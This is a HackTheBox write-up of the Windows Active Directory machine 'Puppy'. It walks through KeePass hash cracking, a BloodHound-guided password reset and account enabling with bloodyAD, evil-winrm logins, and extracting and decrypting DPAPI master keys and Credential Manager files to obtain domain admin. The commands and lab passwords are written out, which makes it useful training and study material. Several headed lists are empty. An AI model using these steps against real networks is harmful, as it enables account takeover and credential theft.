Pentest Writeups | Hugo Beaulieu

A collection of writeups for HackTheBox and CTF competitions.

View on GitHub
19 September 2025

Puppy

by Hugo Beaulieu

Overview

Puppy is a Windows Active Directory machine that involves credential recovery from a KeePass database, Active Directory enumeration with BloodHound, and privilege escalation through delegated permissions. The attack chain requires analyzing AD relationships to identify a path to domain admin through password resets and account manipulation.

Initial Access

We start with compromised credentials for the user james, which allows us to access the development share on the domain.

Step 1: Adding James to Developers Group

First, we add james to the developers group to gain access to the dev share.

Step 2: Accessing the Dev Share

Once james is part of the developers group, we can access the development share and discover a KeePass recovery database.

Step 3: Cracking the KeePass Database

Using fresh versions of john and keepass2john, we extract and crack the KeePass recovery database password. This reveals several user credentials:

keepass2john recovery.kdbx > keepass.hash
john --wordlist=rockyou.txt keepass.hash

The recovered credentials are:

Active Directory Enumeration

Step 4: BloodHound Analysis

We run BloodHound to analyze the Active Directory structure and identify high-value targets. The analysis reveals several key findings:

The logical attack path becomes clear: anthony → adam → admin

Jamie is essentially useless for our purposes, while Anthony’s delegated permissions on Adam provide our escalation path.

Privilege Escalation

Step 5: Taking Ownership and Resetting Adam’s Password

Using Anthony’s credentials and his GenericAll permission, we take ownership of Adam’s account and reset his password using bloodyAD:

bloodyAD --host 10.100.100.100 -d Puppy.htb -u ant.edwards -p Antman2025! set password adam.silver NewPassword123!

Step 6: Enabling Adam’s Account

Since Adam’s account is disabled, we need to enable it by modifying the userAccountControl attribute:

bloodyAD -d Puppy.htb -u ant.edwards -p Antman2025! --dc-ip 10.100.100.100 set object adam.silver userAccountControl -v 512

Step 7: Accessing via WinRM

With Adam’s account now enabled and the password reset, we can connect using evil-winrm:

evil-winrm -i 10.100.100.100 -u adam.silver -p NewPassword123!

We retrieve the user flag from Adam’s desktop. Running WinPEAS doesn’t reveal any additional information at this stage.

Lateral Movement to Administrator

Step 8: Discovering Additional AD Objects

Back in BloodHound, we identify two more interesting accounts in the Puppy Admins OU:

Step 9: Password Pattern Analysis

Based on the password pattern we’ve seen (Name2025!), we try common variations:

Step 10: Discovering Backup Files

In the C:\Backups directory, we find and download site-backup-2024-12-30.zip. Inside the archive, we discover nms-auth-config.xml.bak which contains credentials for steph.cooper:

Password: [REDACTED]

Step 11: Connecting as Steph Cooper

We connect with steph’s credentials via WinRM:

evil-winrm -i 10.100.100.100 -u steph.cooper -p [REDACTED]

Running WinPEAS and PowerView/PowerUp doesn’t reveal any obvious privilege escalation vectors.

Windows Credential Manager Exploitation

Step 12: Discovering Stored Credentials

We run Seatbelt, which reveals Windows Credential Manager data:

Local Credential Data
Folder: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials\
FileName: DFBE70A7E5CC19A398EBF1B96859CE5D
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407

Enterprise Credential Data
Folder: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\
FileName: C8D69EBE9A43E9DEBF6B5FBD48B521B9
MasterKey: 556a2412-1275-4ccf-b721-e6a0b4f90407

Step 13: Initial DPAPI Attempts

We attempt to decrypt the credentials using SharpDPAPI and DPAPISnoop, but encounter CryptProtectData errors:

.\SharpDPAPI.exe triage /password:[REDACTED]
.\DPAPISnoop.exe

Step 14: Extracting Master Keys

Since SharpDPAPI failed, we switch to using impacket-dpapi. First, we need to extract the master key file, but Evil-WinRM doesn’t allow direct download of binary files. We convert the master key to base64:

$key = "556a2412-1275-4ccf-b721-e6a0b4f90407"
$fileBytes = [System.IO.File]::ReadAllBytes("C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\$key")
$base64String = [Convert]::ToBase64String($fileBytes)
[System.IO.File]::WriteAllText("C:\Users\steph.cooper\$key.txt", $base64String, [System.Text.Encoding]::ASCII)

Download the base64 file:

$base64file = "C:\Users\steph.cooper\" + $key + ".txt"
download $base64file

Step 15: Decoding the Master Key

On our Linux host, we decode the base64 master key:

base64 -d 556a2412-1275-4ccf-b721-e6a0b4f90407.txt > 556a2412-1275-4ccf-b721-e6a0b4f90407

Step 16: Extracting Credential Files

We repeat the same base64 conversion process for the credential file:

C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9

Step 17: Decrypting the Master Key

Using impacket-dpapi, we decrypt the master key with Steph’s password:

impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 \
  -sid S-1-5-21-1487982659-1829050783-2281216199-1107 \
  -password '[REDACTED]'

This outputs the decrypted master key.

Step 18: Decrypting the Credential File

Finally, we decrypt the Windows credential file using the decrypted master key:

impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 \
  -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84

This reveals the administrator credentials stored in the Credential Manager, granting us full domain admin access.

Key Takeaways

tags: windows - active-directory - bloodhound